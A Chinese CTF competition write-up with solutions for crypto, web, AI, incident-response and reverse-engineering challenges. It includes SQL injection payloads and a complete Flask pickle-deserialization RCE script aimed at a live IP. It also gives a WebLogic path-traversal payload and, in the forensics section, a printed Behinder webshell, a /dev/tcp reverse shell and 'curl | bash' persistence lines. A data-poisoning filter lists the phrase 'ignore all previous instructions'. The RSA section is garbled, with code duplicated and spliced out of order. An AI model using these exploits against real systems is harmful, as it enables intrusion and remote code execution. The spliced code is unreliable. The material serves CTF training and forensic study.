文章总结: ThisdocumentdetailssolutionsfortheSecondNavigationCupCTF,coveringCryptography,WebSecurity,AISafety,IncidentResponse,ReverseEngineering,andPwn.HighlightsincludeRSAattacks,FlasksessiondeserializationforRCE,WebLogicpathtraversalviaUTF-8encoding,AIdatapoisoningdetection,forensicanalysisofTomcatCVEsandBehinderwebshells,andbinaryexploitsinvolvingUAFandSROPtechniques.Thecontentprovidesactionablecodesnippetsandtechnicalanalysisforeachchallenge.
综合评分: 88
文章分类: CTF,WEB安全,渗透测试,漏洞分析,应急响应
第二届“启航杯”网络安全挑战赛
原创
oPis | 晨曦大佬
oPis | 晨曦大佬
玄网安全
2026年2月9日 13:09
浙江
Ai-神经迷宫
RSA Inferno
源代码
from Crypto.Util.number import getPrime, inverse, GCD
import random
# ==================== Challenge 1 ====================
def challenge1_encrypt(m, n, e1, e2):
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
return c1, c2
# ==================== Challenge 2 ====================
def challenge2_encrypt(m, n_list, e=3):
return [pow(m, e, n) for n in n_list]
# ==================== Challenge 3 ====================
def challenge3_keygen(bits=2048):
p = getPrime(bits // 2)
q = getPrime(bits // 2)
n = p * q
phi = (p - 1) * (q - 1)
# 生成小d
d = getPrime(bits // 8)
e = inverse(d, phi)
return n, e, d
# ==================== Challenge 4 ====================
def challenge4_keygen(bits=1024):
p = getPrime(bits // 2)
q = getPrime(bits // 2)
n = p * q
phi = (p - 1) * (q - 1)
# d < n^0.292
d = getPrime(int(bits * 0.28))
e = inverse(d, phi)
return n, e, d
# ==================== Challenge 5 ====================
def challenge5_leak(d, leak_ratio=0.6):
d_bits = d.bit_length()
leak_bits = int(d_bits * leak_ratio)
d_high = (d >> (d_bits - leak_bits)) << (d_bits - leak_bits)
unknown_bits = d_bits - leak_bits
return d_high, unknown_bits
1:
def common_modulus_attack(n, e1, e2, c1, c2):
# 使用扩展欧几里得算法求 s1, s2 使得 s1*e1 + s2*e2 = gcd(e1, e2)
g, s1, s2 = gmpy2.gcdext(e1, e2)
# 如果系数为负,计算模逆
if s1 < 0:
c1 = gmpy2.invert(c1, n)
s1 = -s1
if s2 < 0:
c2 = gmpy2.invert(c2, n)
s2 = -s2
# 计算 m = (c1^s1 * c2^s2) % n
# 分开计算 pow 以保证精度和效率
m = (gmpy2.powmod(c1, s1, n) * gmpy2.powmod(c2, s2, n)) % n
return m
2:
# 开 3 次方根
m, exact = gmpy2.iroot(c, 3)
3:
# 执行维纳攻击寻找 d
d = owiener.attack(e, n)
if d:
m = pow(c, d, n)
print(f"解密出的整数 m: {m}")
4:
def get_convergents(e, n):
"""连分数展开爆破候选 d"""
a = []
num, den = e, n
while den > 0:
a.append(num // den)
num, den = den, num % den
convergents = []
prev2_num, prev2_den = 0, 1
prev1_num, prev1_den = 1, 0
for x in a:
curr_num = x * prev1_num + prev2_num
curr_den = x * prev1_den + prev2_den
convergents.append((curr_num, curr_den))
prev2_num, prev2_den = prev1_num, prev1_den
prev1_num, prev1_den = curr_num, curr_den
return convergents
5:
def solve_challenge5(n, e, c, d_high, unknown_bits):
"""
针对 Challenge 5 的部分私钥泄露攻击
如果 unknown_bits 较小(例如 < 30 bit),直接暴力破解
如果 unknown_bits 较大,利用 k = (e*d - 1) // phi 的性质
"""
print(f"[*] 正在尝试解密 Challenge 5...")
print(f"[*] 已知高位 d_high: {d_high}")
prev2_num, prev2_den = 0, 1
prev1_num, prev1_den = 1, 0
for x in a:
curr_num = x * prev1_num + prev2_num
curr_den = x * prev1_den + prev2_den
convergents.append((curr_num, curr_den))
prev2_num, prev2_den = prev1_num, prev1_den
prev1_num, prev1_den = curr_num, curr_den
return convergents
5:
def solve_challenge5(n, e, c, d_high, unknown_bits):
"""
针对 Challenge 5 的部分私钥泄露攻击
如果 unknown_bits 较小(例如 < 30 bit),直接暴力破解
如果 unknown_bits 较大,利用 k = (e*d - 1) // phi 的性质
"""
print(f"[*] 正在尝试解密 Challenge 5...")
print(f"[*] 已知高位 d_high: {d_high}")
print(f"[*] 未知位数 unknown_bits: {unknown_bits}")
# 方法 1:针对较小未知位数的快速暴力破解
if unknown_bits <= 28:
print(f"[*] 检测到未知位数较小,开始暴力破解...")
# 使用 2 作为基准进行快速验证
test_base = 2
target_val = pow(test_base, e * d_high, n)
# 我们需要找到 d_low 使得 pow(test_base, e * d_low, n) * target_val % n == test_base
# 或者直接遍历
for d_low in range(2**unknown_bits):
if d_low % 100000 == 0 and d_low > 0:
print(f"[*] 已尝试 {d_low} 次...", end='\r')
d_candidate = d_high + d_low
# 验证 d: (m^e)^d = m (mod n)
if pow(test_base, e * d_candidate, n) == test_base:
print(f"\n[+] 找到正确的 d! 偏移量 k = {d_low}")
return d_candidate
# 方法 2:利用 k 值的数学关系 (当 e 很大时适用)
print(f"\n[*] 尝试使用数学关系推导 (k = ed/phi)...")
# k = (e*d - 1) // phi \approx (e * d_high) // n
k = (e * d_high) // n
for potential_k in range(max(1, k-2), k+3):
# phi = (e*d - 1) // k
Ai-神经迷宫
RSA Inferno
源代码
from Crypto.Util.number import getPrime, inverse, GCD
import random
# ==================== Challenge 1 ====================
def challenge1_encrypt(m, n, e1, e2):
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
return c1, c2
# ==================== Challenge 2 ====================
def challenge2_encrypt(m, n_list, e=3):
return [pow(m, e, n) for n in n_list]
# ==================== Challenge 3 ====================
def challenge3_keygen(bits=2048):
p = getPrime(bits // 2)
q = getPrime(bits // 2)
n = p * q
phi = (p - 1) * (q - 1)
# 生成小d
d = getPrime(bits // 8)
e = inverse(d, phi)
return n, e, d
# ==================== Challenge 4 ====================
def challenge4_keygen(bits=1024):
p = getPrime(bits // 2)
q = getPrime(bits // 2)
n = p * q
phi = (p - 1) * (q - 1)
# d < n^0.292
d = getPrime(int(bits * 0.28))
e = inverse(d, phi)
return n, e, d
# ==================== Challenge 5 ====================
def challenge5_leak(d, leak_ratio=0.6):
d_bits = d.bit_length()
leak_bits = int(d_bits * leak_ratio)
d_high = (d >> (d_bits - leak_bits)) << (d_bits - leak_bits)
unknown_bits = d_bits - leak_bits
return d_high, unknown_bits
1:
def common_modulus_attack(n, e1, e2, c1, c2):
# 使用扩展欧几里得算法求 s1, s2 使得 s1*e1 + s2*e2 = gcd(e1, e2)
g, s1, s2 = gmpy2.gcdext(e1, e2)
# 如果系数为负,计算模逆
if s1 < 0:
c1 = gmpy2.invert(c1, n)
s1 = -s1
if s2 < 0:
c2 = gmpy2.invert(c2, n)
s2 = -s2
# 计算 m = (c1^s1 * c2^s2) % n
# 分开计算 pow 以保证精度和效率
m = (gmpy2.powmod(c1, s1, n) * gmpy2.powmod(c2, s2, n)) % n
return m
2:
# 开 3 次方根
m, exact = gmpy2.iroot(c, 3)
3:
# 执行维纳攻击寻找 d
d = owiener.attack(e, n)
if d:
m = pow(c, d, n)
print(f"解密出的整数 m: {m}")
4:
def get_convergents(e, n):
"""连分数展开爆破候选 d"""
a = []
num, den = e, n
while den > 0:
a.append(num // den)
num, den = den, num % den
print(f"[*] 未知位数 unknown_bits: {unknown_bits}")
# 方法 1:针对较小未知位数的快速暴力破解
if unknown_bits <= 28:
print(f"[*] 检测到未知位数较小,开始暴力破解...")
# 使用 2 作为基准进行快速验证
test_base = 2
target_val = pow(test_base, e * d_high, n)
# 我们需要找到 d_low 使得 pow(test_base, e * d_low, n) * target_val % n == test_base
# 或者直接遍历
for d_low in range(2**unknown_bits):
if d_low % 100000 == 0 and d_low > 0:
print(f"[*] 已尝试 {d_low} 次...", end='\r')
d_candidate = d_high + d_low
# 验证 d: (m^e)^d = m (mod n)
if pow(test_base, e * d_candidate, n) == test_base:
print(f"\n[+] 找到正确的 d! 偏移量 k = {d_low}")
return d_candidate
# 方法 2:利用 k 值的数学关系 (当 e 很大时适用)
print(f"\n[*] 尝试使用数学关系推导 (k = ed/phi)...")
# k = (e*d - 1) // phi \approx (e * d_high) // n
k = (e * d_high) // n
for potential_k in range(max(1, k-2), k+3):
# phi = (e*d - 1) // k
# 这里假设 d_low 比较小,可以忽略
pass
return None
AI_Check
简单的ai 模型训练题
import csv
import re
def is_poisoned(text, label):
# 1. Check for suspicious tags/decorations
tags = [
r'\[VERIFIED\]',
r'//approved//',
r'\{\{trusted\}\}',
r'★推荐★',
r'【特惠】',
r'\[ref:.*?\]'
]
for tag in tags:
if re.search(tag, text):
return True
# 2. Check for invisible characters (Zero-width, control, etc.)
# \u200b-\u200f, \u202a-\u202e, \ufeff
if re.search(r'[\u200b-\u200f\u202a-\u202e\ufeff]', text):
return True
# 3. Check for homoglyphs (Cyrillic characters often used to replace Latin ones)
if re.search(r'[\u0400-\u04FF]', text):
return True
# 4. Check for malicious keywords (case insensitive)
normalized_text = text.lower()
# Also check for common variations or partial matches if needed
keywords = [
"bypass security check",
"execute admin command",
"ignore all previous instructions"
]
for kw in keywords:
if kw in normalized_text:
return True
# 5. Sentiment Mismatch (Label Poisoning)
# If label is positive but text contains strong negative sentiment
negative_indicators = ["worst", "terrible", "垃圾", "极差", "不推荐", "bad"]
if label == 'positive':
for ind in negative_indicators:
if ind in normalized_text:
return True
return False
def main():
input_file = 'poisoned_dataset.csv'
output_file = 'cleaned_dataset.csv'
poisoned_ids = []
clean_rows = []
with open(input_file, mode='r', encoding='utf-8') as f:
reader = csv.DictReader(f)
fieldnames = reader.fieldnames
for row in reader:
if is_poisoned(row['text'], row['label']):
poisoned_ids.append(row['id'])
else:
clean_rows.append(row)
with open(output_file, mode='w', encoding='utf-8', newline='') as f:
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(clean_rows)
print(f"Total rows processed: {len(clean_rows) + len(poisoned_ids)}")
print(f"Poisoned rows found: {len(poisoned_ids)}")
print(f"Cleaned rows saved: {len(clean_rows)}")
# print(f"Poisoned IDs: {poisoned_ids}")
if __name__ == "__main__":
main()
Lattice Labyrinth
源码
import random
from Crypto.Util.number import getPrime, inverse
# ==================== Challenge 1 ====================
class KnapsackCipher:
def __init__(self, n=28):
self.n = n
self.generate_keys()
def generate_keys(self):
bit_size = 44
self.public_key = [random.randint(2**(bit_size-1), 2**bit_size - 1)
for _ in range(self.n)]
def encrypt(self, message_bits):
assert len(message_bits) == self.n
return sum(b * p for b, p in zip(message_bits, self.public_key))
# ==================== Challenge 2 ====================
class GGHCipher:
def __init__(self, n=14):
self.n = n
self.generate_keys()
def generate_keys(self):
# 生成坏基 (公钥)
self.basis = []
for i in range(self.n):
v = [random.randint(-50, 50) for _ in range(self.n)]
v[i] += random.randint(100, 200)
self.basis.append(v)
def encrypt(self, message_bits):
c = [0] * self.n
for i, m in enumerate(message_bits):
for j in range(self.n):
c[j] += m * self.basis[i][j]
# 添加小误差
for j in range(self.n):
c[j] += random.randint(-3, 3)
return c
# ==================== Challenge 3 ====================
class ECDSAWithLeak:
def __init__(self):
self.q = getPrime(128)
self.private_key = random.randint(1, self.q - 1)
self.leak_bits = 110
def sign(self, message_hash):
k = random.randint(1, self.q - 1)
r = pow(2, k, self.q)
s = (inverse(k, self.q) * (message_hash + self.private_key * r)) % self.q
k_low = k & ((1 << self.leak_bits) - 1)
return {'r': r, 's': s, 'message_hash': message_hash, 'k_low': k_low}
1:
def solve_knapsack(weights, target):
n = len(weights)
mid = n // 2
# 1. 处理左半部分:生成所有可能的 (和: 比特元组)
left_half = weights[:mid]
left_sums = {}
print(f"[*] 正在预计算左半部分 (2^{mid} 种组合)...")
for r in range(len(left_half) + 1):
for combo in itertools.combinations(range(len(left_half)), r):
current_sum = sum(left_half[i] for i in combo)
# 使用位运算构建比特序列更省内存
bits = 0
for i in combo:
bits |= (1 << (mid - 1 - i))
left_sums[current_sum] = bits
# 2. 处理右半部分:寻找匹配项
right_half = weights[mid:]
n_right = len(right_half)
print(f"[*] 正在搜索右半部分 (2^{n - mid} 种组合)...")
for r in range(n_right + 1):
for combo in itertools.combinations(range(n_right), r):
current_sum = sum(right_half[i] for i in combo)
needed = target - current_sum
if needed in left_sums:
print("[+] 成功找到解!")
# 格式化左半部分比特
res_left = format(left_sums[needed], f'0{mid}b')
# 格式化右半部分比特
bits_right = 0
for i in combo:
bits_right |= (1 << (n_right - 1 - i))
res_right = format(bits_right, f'0{n_right}b')
return" ".join(res_left + res_right)
return None
2:
# 3. 计算 Babai 舍入法
# 求解方程 c = m * B + error -> m ≈ c * B_inv
# 注意:B 是按行组织的向量,所以用逆矩阵右乘
B_inv = np.linalg.inv(B)
m_raw = np.dot(c, B_inv)
# 4. 取整恢复比特位
m_bits = np.round(m_raw).astype(int)
return m_bits
3:
for high in range(limit):
# 构造猜测的 k
k_guess = (high << leak_bits) | sig['k_low']
# 利用 r = 2^k mod q 进行验证
# 如果 pow(2, k_guess, q) == r,说明找到了正确的 k
if pow(2, k_guess, q) == sig['r']:
print(f"[+] 找到随机数 k: {k_guess}")
# 利用签名公式反解私钥 x
# s = k^-1 * (h + x*r) mod q
# => k*s = h + x*r mod q
# => x*r = k*s - h mod q
# => x = (k*s - h) * r^-1 mod q
val = (k_guess * sig['s'] - sig['h']) % q
r_inv = inverse(sig['r'], q)
private_key = (val * r_inv) % q
print(f"\n[SUCCESS] 私钥为: {private_key}")
break
深夜入侵
非预期把
cat /v文件 就行
WebLogic
ez_ems
flask session 反序列化
不出网``弱口令 测出 admin admin
在搜索框存在 sql注入
a'/**/order/**/by/**/1/**/#
a'/**/union/**/select/**/1,2,3,4,5,6/**/#
a'/**/union/**/select/**/1,database(),3,4,5,6/**/# employee_db
a'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/# audit_log,config,users
a'/**/union/**/select/**/1,group_concat(column_name),3,4,5,6/**/from/**/information_schema.columns/**/where/**/table_name='config'/**/# id,key_name,key_value
a'/**/union/**/select/**/1,key_value,3,4,5,6/**/from/**/config/**/where/**/key_name='secret_key'/**/# supersecretkey123!
key:supersecretkey123! 伪造session
python flask_session_cookie_manager3.py decode -c "eyJ0b2tlbiI6ImdBU1ZLZ0FBQUFBQUFBQ01DRjlmYldGcGJsOWZsSXdKVlhObGNsUnZhMlZ1bEpPVVN3R01CV0ZrYldsdWxFc0JoNVJTbEM0PSJ9.aYhsZw.OQ87gBOEQW5DBSB6X1rsVhWObbw"
b'{"token":"gASVKgAAAAAAAACMCF9fbWFpbl9flIwJVXNlclRva2VulJOUSwGMBWFkbWlulEsBh5RSlC4="}'
类名:UserToken
模块:__main__
参数:包含 admin 和一些整数(比如 K \x01 代表整数 1)。
import requests
import pickle
import base64
import hashlib
import time
import os
from itsdangerous import URLSafeTimedSerializer
# ================= Configuration =================
TARGET_URL = "http://220.168.118.182:33584"
SECRET_KEY = 'supersecretkey123!'# Replace with the key obtained from SQLi
# Command: Create static dir, copy flag, and set permissions
COMMAND = "(whoami; id; ls /; ls -la) > static/flag_out.txt 2>&1"# =================================================
class RCE:
def __reduce__(self):
# Use os.system to execute the command on the target server
return (os.system, (COMMAND,))
def forge_cookie(key):
# 1. Create the malicious pickle object
rce_obj = RCE()
pickle_data = pickle.dumps(rce_obj)
# 2. Handle cross-platform compatibility (Windows 'nt' -> Linux 'posix')
# If generating on Windows, pickle uses 'nt', but the target is likely Linux
if b'nt\nsystem'in pickle_data:
pickle_data = pickle_data.replace(b'nt\nsystem', b'posix\nsystem')
elif b'\x8c\x02nt'in pickle_data:
pickle_data = pickle_data.replace(b'\x8c\x02nt', b'\x8c\x05posix')
# 3. Encode the token in Base64 as required by the application logic
token_b64 = base64.b64encode(pickle_data).decode('utf-8')
session_data = {'token': token_b64}
print(f"[*] Payload data: {session_data}")
# 4. Sign the session cookie using Flask's default settings
# Default salt for Flask session is 'cookie-session'
serializer = URLSafeTimedSerializer(
secret_key=key,
salt='cookie-session',
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
)
return serializer.dumps(session_data)
def run_exploit():
# Step 1: Generate forged cookie
print("[*] Generating forged session cookie...")
try:
cookie_val = forge_cookie(SECRET_KEY)
print(f"[*] Cookie generated: {cookie_val}")
except Exception as e:
print(f"[-] Error generating cookie: {e}")
return
# Step 2: Send request to trigger Deserialization
print(f"[*] Sending exploit request to {TARGET_URL}...")
proxies = None # Add proxy if needed: {"http": "http://127.0.0.1:8080"}
cookies = {'session': cookie_val}
headers = {
'User-Agent': 'Mozilla/5.0 (Exploit Tool)'
}
try:
# Request might timeout if the command blocks or takes time
requests.get(TARGET_URL, cookies=cookies, headers=headers, timeout=5)
except requests.exceptions.RequestException as e:
print(f"[*] Request sent (timeout expected if RCE triggers): {e}")
# Step 3: Verify execution and retrieve result
print("[*] Waiting for command execution (2s)...")
time.sleep(2)
result_url = f"{TARGET_URL}/static/flag_out.txt"
print(f"[*] Attempting to fetch flag from: {result_url}")
try:
response = requests.get(result_url, headers=headers)
if response.status_code == 200:
print("\n[+] EXPLOIT SUCCESSFUL!")
print(f"[+] Flag: {response.text.strip()}")
else:
print(f"[-] Failed to retrieve flag. Status Code: {response.status_code}")
print("[-] Check if the Secret Key is correct or if the directory is writable.")
except Exception as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
run_exploit()
COMMAND = "cat flag.txt > static/flag_out.txt"
WebLogic
1. 漏洞背景:CVE-2026-21962
(注:在 CTF 语境下,CVE 编号可能为虚构或模拟最新的安全研究)。此类漏洞通常涉及 Oracle WebLogic Server 的管理控制台(Console)在处理特殊编码字符时的逻辑缺陷。当 Web 服务器前端的安全组件(如 Filter 或 WAF)与后端解析引擎(如 WebLogic 的 Java Servlet 容器)对 URL 编码的处理不一致时,就会产生绕过。
2. 核心原理:UTF-8 过长编码 (Overlong Encoding)
这是本题的关键点。
标准编码:在 ASCII 中,点号 . 的十六进制是 2E。在标准 UTF-8 中,它也是 2E(1字节)。
过长编码:根据 UTF-8 的规范,较小的字符本应使用较短的字节表示,但某些解析器允许使用更多的字节来表示同一个字符。
%c0%ae 实际上是二进制 11000000 10101110。
按照 UTF-8 规则解码:提取后 6 位 101110 和前导字节的后 2 位 000000 -> 得到 00101110,即十六进制的 2E (.)。
绕过逻辑:
安全过滤器:可能只检查字符串中是否包含 ../ 或 %2e%2e/。它不认识 %c0%ae,因此放行。
后端容器:WebLogic 的特定版本在进行路由分发前,会将 %c0%ae 解码为 .,从而执行了路径遍历。
步骤 A:初步探测
直接访问 /admin/ 或 /internal/ 会被 WebLogic 的安全层拦截(通常返回 403 Forbidden 或重定向至登录页)。
步骤 B:跨越第一层控制
访问 http://[IP]:[PORT]/console/../。
这里利用了 WebLogic 处理 /console/ 路径时的特殊性,尝试回到根路径以寻找其他未授权访问点。
步骤 C:构造绕过 Payload
为了访问受保护的 /internal/admin.php,需要构造路径遍历。
目标路径:/internal/admin.php
绕过字符:使用 %c0%ae 替代 .
构造 ..:%c0%ae%c0%ae
最终 URL:http://url/%c0%ae%c0%ae/internal/admin.php
应急溯源
解题思路:
- 首先查看Docker镜像的配置文件,确认Tomcat版本:
c:\Users\ZhuanZ(无密码)\Downloads\yingji-v1\dca32396a7baafae4a98bd5cbee3678b5ea7e716e26821383d79abe4e3456ccb.json
- 从配置文件中提取信息:
{
"Config": {
"Image": "tomcat:8.5.19",
"ExposedPorts": {
"8080/tcp": {}
},
"Env": [
"PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
]
}
}
- 分析Tomcat 8.5.19版本存在的已知漏洞:
- CVE-2017-12615: Tomcat 8.5.19 PUT方法任意文件上传漏洞
- 这是Tomcat在8.5.x版本中存在的一个严重漏洞,允许攻击者通过HTTP PUT方法上传任意文件
- 验证漏洞利用证据:
- 在
extracted/目录中发现多个恶意的.jsp文件被上传到web应用根目录 - 文件名格式:
b24882d2_*.jsp(如shell.jsp, faiz.jsp等)
答案:QHCTF{CVE-2017-12615}
Q2: Webshell分析 (100 pts)
问题: 入侵者上传的Webshell使用的加密密钥和密码是什么?请提交密钥_密码(格式:密钥_密码)
解题思路:
- 在提取的文件中查找Webshell文件:
extracted/b24882d2_faiz.jsp
extracted/jj.jsp
extracted/I6lPn7.jsp
- 分析这些jsp文件的内容(以b24882d2_faiz.jsp为例):
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String xc="3c6e0b8a9c15224a";
String pass="pass";
String md5=md5(pass+xc);
class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb,0,cb.length);}}
%>
- 识别Webshell类型:
- 这是冰蝎(Behinder) Webshell的特征代码
- 冰蝎是常用的Java Webshell管理工具
- 提取加密密钥和密码:
- 密钥(xc):
3c6e0b8a9c15224a - 密码(pass):
pass
- 验证:
- 在其他jsp文件中也发现了相同的密钥和密码配置
- 冰蝎使用AES加密,密钥长度为16字节
答案:QHCTF{3c6e0b8a9c15224a_pass}
Q3: C2服务器 (100 pts)
问题: 入侵者建立反向Shell连接的C2服务器IP和端口是什么?请提交{IP:端口}
解题思路:
- 在Webshell文件中查找反向Shell配置:
extracted/b24882d2_shell.jsp
- 分析shell.jsp的代码:
<%@page import="java.io.*,java.net.*"%>
<%
String host = "193.239.86.139";
int port = 8888;
String[] cmd = {"/bin/sh", "-c", "sh -i >& /dev/tcp/" + host + "/" + port + " 0>&1"};
Process p = Runtime.getRuntime().exec(cmd);
%>
- 解读反向Shell原理:
- 使用
/dev/tcp/IP/PORT建立TCP连接 - 将stdin/stdout/stderr重定向到TCP连接
- 攻击者可以通过该连接执行命令
- 提取C2服务器信息:
- IP地址:
193.239.86.139 - 端口:
8888
答案:QHCTF{193.239.86.139:8888}
Q4: 挖矿程序路径 (100 pts)
问题: 入侵者植入的挖矿程序路径是什么?
答案:QHCTF{/opt/.X11-Xtrace/kworker,/opt/.kthread/kthread}
解析:
- kworker: /opt/.X11-Xtrace/kworker,文件大小6,340,792字节,Go程序,用于系统信息收集
- kthread: /opt/.kthread/kthread,文件大小3,505,188字节,UPX加壳的ELF二进制文件,用于挖矿
- 包含挖矿相关字符串:
_POOL,CRYPTO0,minef
Q5: 持久化配置 (100 pts)
问题: 入侵者采用了哪些持久化技术?请列出所有方式
解题思路:
- 方法一:Systemd服务持久化
- 位置:
extracted/etc_systemd_system_kthread.service - 配置文件内容:
[Unit]
Description=KThread Service
[Service]
ExecStart=/opt/.kthread/kthread
Restart=always
Type=forking
[Install]
WantedBy=multi-user.target
- 特点:设置Restart=always,进程被杀死后自动重启
- 方法二:Cron定时任务持久化
- 位置:
extracted/var_spool_cron_crontabs_root(或其他crontab文件) - 任务内容:
@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
- 特点:系统重启后自动下载执行恶意脚本
- 方法三:Bash历史记录证据
- 位置:
extracted/b24882d2_.bash_history - 发现的持久化命令:
curl -s -k --tlsv1.2 https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
- 验证持久化机制:
- 检查systemd服务是否启用:
/etc/systemd/system/multi-user.target.wants/kthread.service -> /etc/systemd/system/kthread.service
- 检查cron服务状态
- 总结持久化技术:
- Systemd服务: 确保挖矿程序持续运行
- Cron @reboot任务: 系统重启后重新下载恶意脚本
- 这两种方式形成双重保险
答案:QHCTF{systemd服务,cron定时任务}
Q8: 恶意脚本下载域名 (100 pts)
问题: 入侵者下载恶意脚本的域名是什么?
解题思路:
-
从多个证据源查找下载URL:
证据1:bash_history
extracted/b24882d2_.bash_history
内容:
curl -s -k --tlsv1.2 https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
证据2:crontab文件
extracted/var_spool_cron_crontabs_root
内容:
@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
- 分析URL结构:
- 协议:https
- 域名:
www.atteppzkf.com - 端口:8443
- 路径:
/d/opi1G30i/exec.sh - 使用TLS 1.2加密
- -k参数忽略证书验证(自签名证书)
- 提取域名信息:
- 完整URL:
https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh - 域名:
www.atteppzkf.com
- 验证域名使用:
- 该域名在多个地方出现(bash_history, crontab)
- 是恶意命令和控制(C2)服务器
答案:QHCTF{www.atteppzkf.com}
RE-Labyrinth
动态 S 盒生成 (SIMD & LCG)
程序最复杂的循环部分使用了 SSE 指令集(_mm_add_epi32 等)。通过分析其寄存器操作,可以发现其本质是生成了一个包含 0-255 的初始线性表 byte_41A0。
紧接着,程序使用了一个线性同余生成器 (LCG) 来打乱这个表:
种子 (Seed):0xDEADBEEF
公式:Next = (1103515245 * Current + 12345) & 0xFFFFFFFF
洗牌算法:一种确定的随机交换逻辑。打乱完成后,程序还计算了该表的逆映射表 byte_40A0
Flag 的生成并非加密用户输入,而是变换内置的 unk_2020 数据(43 字节)。变换步骤如下:
查逆表:data[i] = inv_sbox[unk_2020[i]]
循环右移 (ROR):对 43 字节进行 ROR(x, 3) 操作。
注:SIMD 代码中的 (x >> 3) | (x << 5) 是典型的 8 位循环右移实现。
分段算术运算:
前 32 字节:final[i] = (data[i] + 0xDD) ^ key[i],其中 key 是从 0 开始、步长为 3 的序列。
后 11 字节:final[i] = (data[i] - 35) ^ key[i],其中 key 从 96 开始、步长为 3。
import numpy as np
# 1. 准备数据 unk_2020
unk_2020 = [
0xEE, 0x2A, 0xD5, 0xEB, 0x7B, 0xAE, 0x81, 0x81, 0xFA, 0x22, 0xA8, 0x2F, 0xA1, 0x66, 0xC6, 0x9B,
0xCC, 0x59, 0xF2, 0xF1, 0x85, 0xC6, 0x5B, 0x8B, 0xA3, 0x02, 0x22, 0x00, 0x4A, 0xA8, 0x91, 0xF5,
0x93, 0xC6, 0xF2, 0xBF, 0x0D, 0xCC, 0x27, 0x5E, 0x9B, 0x47, 0x44
]
# 2. 模拟 S 盒生成和 LCG 洗牌
sbox = list(range(256))
v28 = 0xDEADBEEF # 即 -559038737 的无符号表示
def lcg_rand():
global v28
v28 = (1103515245 * v28 + 12345) & 0xFFFFFFFF
return v28
# 模拟打乱过程
for i in range(255, 0, -1):
r = lcg_rand()
idx = (r >> 16) % (i + 1)
sbox[i], sbox[idx] = sbox[idx], sbox[i]
# 生成逆表
inv_box = [0] * 256
for i in range(256):
inv_box[sbox[i]] = i
# 3. 执行变换
v48 = [inv_box[b] for b in unk_2020]
# 定义循环右移 8 位下的 3 位
def ror8(val, n):
return ((val >> n) | (val << (8 - n))) & 0xFF
# 执行位移和算术变换
flag = []
# 前 32 字节 (使用 SIMD 逻辑)
xmm_20B0 = [i * 3 for i in range(16)] # 00, 03, 06...
xmm_20C0 = [(i + 16) * 3 for i in range(16)] # 30, 33, 36...
add_val = 0xDD
for i in range(16):
# 步骤:先 ROR 3,然后加 0xDD,再异或
char_code = ror8(v48[i], 3)
char_code = (char_code + add_val) & 0xFF
flag.append(char_code ^ xmm_20B0[i])
for i in range(16, 32):
char_code = ror8(v48[i], 3)
char_code = (char_code + add_val) & 0xFF
flag.append(char_code ^ xmm_20C0[i-16])
# 最后 11 字节
v42 = 96
for i in range(32, 43):
char_code = ror8(v48[i], 3)
# 逻辑:v44 = v42 ^ (v43 - 35)
res = (v42 ^ (char_code - 35)) & 0xFF
flag.append(res)
v42 += 3
print("Flag:", "".join([chr(c) for c in flag]))
RE-调查问卷
import struct
# --- 1. 基础配置 ---
QWERTY_TABLE = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/"
CIPHER_B64 = "ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/"
TEA_KEY = b"VRUSEKYE202YGLF6"
# 题目提取的 AES 标准 S-Box
SBOX = [
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
